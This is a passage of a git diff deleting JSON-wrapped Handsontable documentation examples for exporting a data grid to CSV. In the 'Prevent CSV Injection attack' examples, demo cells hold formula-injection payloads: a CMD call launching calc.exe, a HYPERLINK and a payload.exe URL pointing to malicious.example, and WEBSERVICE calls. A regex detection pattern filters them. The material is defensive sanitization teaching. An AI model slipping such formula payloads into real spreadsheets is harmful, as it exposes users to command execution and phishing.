HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: {\n license: NON_COMMERCIAL_LICENSE,\n } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example4.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json deleted file mode 100644 index e5025389..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file');\nbutton.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example1.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json deleted file mode 100644 index 8e40a2de..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-file')!;\n\nbutton.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example1.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json deleted file mode 100644 index 1bf25316..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-blob');\nbutton.addEventListener('click', () => {\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n console.log(exportedBlob);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example2.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json deleted file mode 100644 index 5e11bab7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-blob')!;\n\nbutton.addEventListener('click', () => {\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example2.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json deleted file mode 100644 index 01bd6d8c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-string');\nbutton.addEventListener('click', () => {\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n console.log(exportedString);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example3.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json deleted file mode 100644 index dbb62d02..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-string')!;\n\nbutton.addEventListener('click', () => {\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example3.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json deleted file mode 100644 index c9945e7a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n ['https://api.acme-inventory.com/live-stock', '=WEBSERVICE(\"https://api.acme-inventory.com/live-stock\")'],\n ['https://status.vertex-logistics.com/feed', '=WEBSERVICE(\"https://status.vertex-logistics.com/feed\")'],\n ['http://malicious.example/payload.exe', '=CMD(\"| calc.exe\")'],\n ['https://news.example.com/q2-briefing', '=HYPERLINK(\"http://malicious.example\",\"Open report\")'],\n ['https://cdn.example.com/daily.csv', '+SUM(1,1)'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\ndocument.querySelector('#no-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n});\ndocument.querySelector('#recommended-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n});\ndocument.querySelector('#regexp-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n});\ndocument.querySelector('#function-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example4.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json deleted file mode 100644 index 91fb18be..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['https://api.acme-inventory.com/live-stock', '=WEBSERVICE(\"https://api.acme-inventory.com/live-stock\")'],\n ['https://status.vertex-logistics.com/feed', '=WEBSERVICE(\"https://status.vertex-logistics.com/feed\")'],\n ['http://malicious.example/payload.exe', '=CMD(\"| calc.exe\")'],\n ['https://news.example.com/q2-briefing', '=HYPERLINK(\"http://malicious.example\",\"Open report\")'],\n ['https://cdn.example.com/daily.csv', '+SUM(1,1)'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\ndocument.querySelector('#no-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n});\n\ndocument.querySelector('#recommended-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n});\n\ndocument.querySelector('#regexp-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n});\n\ndocument.querySelector('#function-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example4.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git 